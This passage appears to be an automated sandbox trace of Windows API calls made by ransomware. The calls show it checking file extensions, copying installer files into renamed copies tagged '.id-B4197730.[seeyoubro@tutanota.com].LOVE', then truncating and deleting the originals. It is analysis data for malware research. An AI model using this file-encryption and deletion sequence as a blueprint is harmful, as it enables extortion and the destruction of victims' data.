45 [0195.881] lstrlenW (lpString=".1cd") returned 4 [0195.881] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.881] lstrlenW (lpString=".jpg") returned 4 [0195.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.881] lstrlenW (lpString=".doc") returned 4 [0195.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString=".docx") returned 5 [0195.881] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.882] lstrlenW (lpString=".pdf") returned 4 [0195.882] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.882] lstrlenW (lpString=".xls") returned 4 [0195.882] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.882] lstrlenW (lpString=".xlsx") returned 5 [0195.882] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.882] lstrlenW (lpString=".ppt") returned 4 [0195.882] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.882] lstrlenW (lpString=".zip") returned 4 [0195.882] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.882] lstrlenW (lpString=".rar") returned 4 [0195.882] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.882] lstrlenW (lpString=".bz2") returned 4 [0195.882] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.882] lstrlenW (lpString=".7z") returned 3 [0195.882] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.882] lstrlenW (lpString=".dbf") returned 4 [0195.882] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.882] lstrlenW (lpString=".1cd") returned 4 [0195.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.883] lstrlenW (lpString=".jpg") returned 4 [0195.883] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.883] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.883] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.883] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=18776) returned 1 [0195.883] CloseHandle (hObject=0x29c) returned 1 [0195.883] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0195.883] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.883] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.884] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.884] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.899] GetLastError () returned 0x0 [0195.899] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4958, lpOverlapped=0x0) returned 1 [0195.918] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4960, lpOverlapped=0x0) returned 1 [0195.919] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.919] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.919] SetEndOfFile (hFile=0x2b0) returned 1 [0195.919] CloseHandle (hObject=0x2b0) returned 1 [0195.920] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.920] SetEndOfFile (hFile=0x29c) returned 1 [0196.214] CloseHandle (hObject=0x29c) returned 1 [0196.214] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.214] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0196.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.214] lstrlenW (lpString=".doc") returned 4 [0196.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0196.214] lstrlenW (lpString=".docx") returned 5 [0196.214] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0196.215] lstrlenW (lpString=".pdf") returned 4 [0196.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString=".xls") returned 4 [0196.215] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString=".xlsx") returned 5 [0196.215] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0196.215] lstrlenW (lpString=".ppt") returned 4 [0196.215] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString=".zip") returned 4 [0196.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString=".rar") returned 4 [0196.215] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString=".bz2") returned 4 [0196.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0196.215] lstrlenW (lpString=".7z") returned 3 [0196.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString=".dbf") returned 4 [0196.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString=".1cd") returned 4 [0196.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString=".jpg") returned 4 [0196.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.215] lstrlenW (lpString=".doc") returned 4 [0196.216] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString=".docx") returned 5 [0196.216] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0196.216] lstrlenW (lpString=".pdf") returned 4 [0196.216] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString=".xls") returned 4 [0196.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString=".xlsx") returned 5 [0196.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0196.216] lstrlenW (lpString=".ppt") returned 4 [0196.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.216] lstrlenW (lpString=".zip") returned 4 [0196.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString=".rar") returned 4 [0196.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0196.216] lstrlenW (lpString=".bz2") returned 4 [0196.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0196.216] lstrlenW (lpString=".7z") returned 3 [0196.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0196.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.216] lstrlenW (lpString=".dbf") returned 4 [0196.216] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0196.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.216] lstrlenW (lpString=".1cd") returned 4 [0196.216] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0196.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0196.216] lstrlenW (lpString=".jpg") returned 4 [0196.216] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0196.217] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.217] lstrlenW (lpString="SysReqMet.ico") returned 13 [0196.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0196.217] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1150) returned 1 [0196.217] CloseHandle (hObject=0x29c) returned 1 [0196.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0196.217] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0196.217] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.217] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0196.218] GetLastError () returned 0x0 [0196.218] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x47e, lpOverlapped=0x0) returned 1 [0196.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x480, lpOverlapped=0x0) returned 1 [0196.221] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xee, lpOverlapped=0x0) returned 1 [0196.222] SetEndOfFile (hFile=0x2e8) returned 1 [0196.222] CloseHandle (hObject=0x2e8) returned 1 [0196.222] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.222] SetEndOfFile (hFile=0x29c) returned 1 [0196.223] CloseHandle (hObject=0x29c) returned 1 [0196.223] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.223] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString=".doc") returned 4 [0196.224] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.224] lstrlenW (lpString=".docx") returned 5 [0196.224] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0196.224] lstrlenW (lpString=".pdf") returned 4 [0196.224] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.224] lstrlenW (lpString=".xls") returned 4 [0196.224] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.224] lstrlenW (lpString=".xlsx") returned 5 [0196.224] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0196.224] lstrlenW (lpString=".ppt") returned 4 [0196.224] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString=".zip") returned 4 [0196.224] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.224] lstrlenW (lpString=".rar") returned 4 [0196.224] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.224] lstrlenW (lpString=".bz2") returned 4 [0196.224] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.224] lstrlenW (lpString=".7z") returned 3 [0196.224] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString=".dbf") returned 4 [0196.224] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString=".1cd") returned 4 [0196.224] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.224] lstrlenW (lpString=".jpg") returned 4 [0196.224] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString=".doc") returned 4 [0196.225] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.225] lstrlenW (lpString=".docx") returned 5 [0196.225] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0196.225] lstrlenW (lpString=".pdf") returned 4 [0196.225] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString=".xls") returned 4 [0196.225] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString=".xlsx") returned 5 [0196.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0196.225] lstrlenW (lpString=".ppt") returned 4 [0196.225] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString=".zip") returned 4 [0196.225] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString=".rar") returned 4 [0196.225] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.225] lstrlenW (lpString=".bz2") returned 4 [0196.225] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.225] lstrlenW (lpString=".7z") returned 3 [0196.225] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString=".dbf") returned 4 [0196.225] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString=".1cd") returned 4 [0196.225] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0196.225] lstrlenW (lpString=".jpg") returned 4 [0196.225] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.226] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0196.226] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0196.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0196.226] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=1150) returned 1 [0196.226] CloseHandle (hObject=0x29c) returned 1 [0196.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0196.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0196.226] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.226] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0196.227] GetLastError () returned 0x0 [0196.227] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x47e, lpOverlapped=0x0) returned 1 [0196.255] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x480, lpOverlapped=0x0) returned 1 [0196.256] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.257] WriteFile (in: hFile=0x2e8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf4, lpOverlapped=0x0) returned 1 [0196.257] SetEndOfFile (hFile=0x2e8) returned 1 [0196.257] CloseHandle (hObject=0x2e8) returned 1 [0196.257] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.258] SetEndOfFile (hFile=0x29c) returned 1 [0196.258] CloseHandle (hObject=0x29c) returned 1 [0196.259] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.342] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0196.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.343] lstrlenW (lpString=".doc") returned 4 [0196.343] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.343] lstrlenW (lpString=".docx") returned 5 [0196.343] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0196.343] lstrlenW (lpString=".pdf") returned 4 [0196.343] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.343] lstrlenW (lpString=".xls") returned 4 [0196.343] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.343] lstrlenW (lpString=".xlsx") returned 5 [0196.343] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0196.343] lstrlenW (lpString=".ppt") returned 4 [0196.343] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.343] lstrlenW (lpString=".zip") returned 4 [0196.343] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.343] lstrlenW (lpString=".rar") returned 4 [0196.343] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.343] lstrlenW (lpString=".bz2") returned 4 [0196.343] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.343] lstrlenW (lpString=".7z") returned 3 [0196.343] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.343] lstrlenW (lpString=".dbf") returned 4 [0196.343] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.343] lstrlenW (lpString=".1cd") returned 4 [0196.343] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.343] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.343] lstrlenW (lpString=".jpg") returned 4 [0196.343] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.344] lstrlenW (lpString=".doc") returned 4 [0196.344] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.344] lstrlenW (lpString=".docx") returned 5 [0196.344] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0196.344] lstrlenW (lpString=".pdf") returned 4 [0196.344] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString=".xls") returned 4 [0196.344] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString=".xlsx") returned 5 [0196.344] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0196.344] lstrlenW (lpString=".ppt") returned 4 [0196.344] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.344] lstrlenW (lpString=".zip") returned 4 [0196.344] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString=".rar") returned 4 [0196.344] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0196.344] lstrlenW (lpString=".bz2") returned 4 [0196.344] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0196.344] lstrlenW (lpString=".7z") returned 3 [0196.344] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0196.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.344] lstrlenW (lpString=".dbf") returned 4 [0196.344] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0196.344] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.344] lstrlenW (lpString=".1cd") returned 4 [0196.344] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0196.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0196.345] lstrlenW (lpString=".jpg") returned 4 [0196.345] lstrcmpiW (lpString1=".jpg", 